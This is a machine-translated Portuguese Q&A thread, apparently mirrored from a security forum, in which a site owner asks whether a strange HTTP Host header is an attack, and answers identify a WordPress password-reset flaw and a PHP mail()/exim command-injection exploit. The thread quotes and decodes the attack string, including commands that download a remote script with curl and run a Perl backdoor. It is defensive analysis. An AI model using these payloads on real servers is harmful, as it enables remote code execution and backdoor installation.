it-swarm-pt.tech

Esse cabeçalho HTTP_Host inválido faz parte de uma exploração?

Recebemos um grande número de mensagens de erro do nosso aplicativo Django, assim:

Invalid HTTP_Host header: ‘target(any [email protected] -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}69.64.61.196${substr{0}{1}{$spool_directory}}rce.txt}} null)’. The domain name provided is not valid according to RFC 1034/1035.
...
Request information: 
GET: action = u'lostpassword'
POST: user_login = u'admin' wp-submit = u'Get New Password'
FILES: No FILES data
COOKIES: No cookie data
...

Eu nunca vi nada parecido antes, e estou tendo problemas para descobrir o que isso significa. Isso poderia ser parte de alguma façanha, ou estou apenas sendo paranóico?

25
djvg

Para expandir a resposta fornecida por @Swashbuckler, CVE-2017-8295 refere-se especificamente a WordPress a senha é redefinida com o conjunto de cabeçalho HTTP Host).

Quando WordPress envia e-mails de redefinição de senha, eles definem From/Return-Path Com o valor de $_SERVER['SERVER_NAME'] (Em PHP). Este valor é definido por alguns servidores web (por exemplo, Apache) com base no cabeçalho HTTP Host.

Isso significa que os invasores podem fazer com que o WordPress envie e-mails com From/Return-Path Definido como um endereço de e-mail de sua escolha. Se o e-mail for devolvido ou respondido isso acontecerá com esse endereço de email malicioso e - se o email original foi anexado - o invasor terá acesso ao link de redefinição de senha.

O abuso real da exploração requer dois fatores: o servidor da web deve ler o nome do host no cabeçalho Host e o email deve ser devolvido ou respondido. O primeiro pode ser corrigido pelo administrador do servidor (se estiver usando o Apache, configurando UseCanonicalName On ), o último requer que o invasor bloqueie de alguma forma o servidor de correio da vítima (por exemplo, fazendo DoS'ing) ) ou para a vítima responder ao e-mail.

Conforme apontado pelo @TerrorBite, os atacantes não estão realmente mirando nos links de redefinição de senha, mas apenas usando o bug para explorar um bug na função PHP mail(). Consulte sua resposta abaixo.

45
Birjolaxew

Parece-me uma tentativa de explorar CVE-2017-8295 .

Aqui está o resumo do CVE:

O WordPress através da 4.7.4 conta com o cabeçalho HTTP do Host para uma mensagem de email para redefinição de senha, o que facilita aos invasores remotos redefinir senhas arbitrárias, fazendo uma solicitação wp-login.php? Action = lostpassword e depois organizando esta mensagem será devolvida ou reenviada, levando à transmissão da chave de redefinição para uma caixa de correio em um servidor SMTP controlado por invasor. Isso está relacionado ao uso problemático da variável SERVER_NAME no wp-includes/pluggable.php em conjunto com a função de email PHP mail. A exploração não é possível em todos os casos, porque requer pelo menos um dos a seguir: (1) o invasor pode impedir que a vítima receba mensagens de email por um período prolongado (como 5 dias), (2) o sistema de email da vítima envia uma resposta automática contendo a mensagem original ou ( 3) a vítima redige manualmente uma resposta contendo a mensagem original.

Dennis diz que eles estão vendo muitas solicitações, então o invasor está tentando adivinhar nomes de contas ou tem uma lista de nomes de contas (talvez coletada de alguma maneira) e está tentando redefinir as senhas nas contas para poder ganhar controle deles. O invasor está procurando a chave de redefinição, conforme descrito no CVE.

20
Swashbuckler

Na verdade, isso parece estar direcionado à exploração de Execução Remota de Código CVE-2016-100 na função php mail(), usando CVE-2017-8295 apenas como uma maneira de injetar código de exploração em a função mail().

O conteúdo do cabeçalho do host HTTP é uma sequência que contém valores de substituição que devem ser executados pelo agente de transferência de correio exim4. As funções de substring parecem ter o objetivo de retornar um caractere de barra e um caractere de espaço (isso é usado para evitar que o Apache filtre caracteres de barra e para garantir que os espaços não quebrem o argumento para exim4 ' s sinalizador -be). Se os substituirmos, terminamos com uma string semelhante a esta (endereço IP parcialmente redigido):

target(any [email protected] -be ${run{/usr/bin/curl -o/tmp/rce 69.XX.XX.196/rce.txt}} null)

Isso resultaria na função exim4 ${run} Executando curl para fazer o download do arquivo rce.txt.

Observe que isso apenas baixa o arquivo. Você pode esperar ver uma segunda solicitação HTTP com um cabeçalho Host semelhante, mas diferente, que invocará bash para executar o arquivo baixado anteriormente.

O arquivo rce.txt Neste endereço, no momento da escrita, contém outra sequência de linhas de comando, como segue (URL e endereço IP parcialmente redigidos):

curl -o /tmp/wp.gif hXXp://46.XX.XX.42/website/strust.gif  && Perl /tmp/wp.gif

O arquivo strust.gif É detectado como Backdoor: Perl/Shellbot.S e um a gravação desta ameaça pelo ISC SANS está disponível .

20
TerrorBite